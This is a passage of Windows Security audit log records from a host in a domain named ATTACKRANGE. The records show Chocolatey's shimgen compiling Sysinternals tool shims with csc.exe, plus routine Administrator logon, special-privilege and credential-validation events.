	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\hex2dec.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123410_8803\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123410_8803\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_8803\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_8803\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_8803\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246522
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x528
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x480
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246521
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x480
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\hex2dec.exe" --output="C:\ProgramData\chocolatey\bin\hex2dec.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\hex2dec.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246520
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe20
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x618
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESCF03.tmp" "c:\ProgramData\chocolatey\bin\CSCE91FD4268B2F4530AE6753879C4599B.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246519
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc6c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x618
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246518
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x618
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xcf8
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\handle64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123410_6616\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123410_6616\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_6616\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_6616\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_6616\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246517
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd70
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xcf8
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246516
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcf8
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\handle64.exe" --output="C:\ProgramData\chocolatey\bin\handle64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\handle64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246515
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfe0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x36c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESCE28.tmp" "c:\ProgramData\chocolatey\bin\CSC41FC0F6F9B704F9285F4A89C119187FE.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246514
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x864
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x36c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246513
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x36c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd68
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\handle.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123410_4428\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123410_4428\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_4428\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_4428\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_4428\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246512
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd2c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd68
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246511
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd68
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\handle.exe" --output="C:\ProgramData\chocolatey\bin\handle.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\handle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246510
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x990
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc4c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESCD4D.tmp" "c:\ProgramData\chocolatey\bin\CSC8C9605CD68984341B1E9BBC4748D3290.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246509
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xAD979

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246508
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xAD979
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246507
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246506
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=246505
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x950E7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246504
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5ec
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc4c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
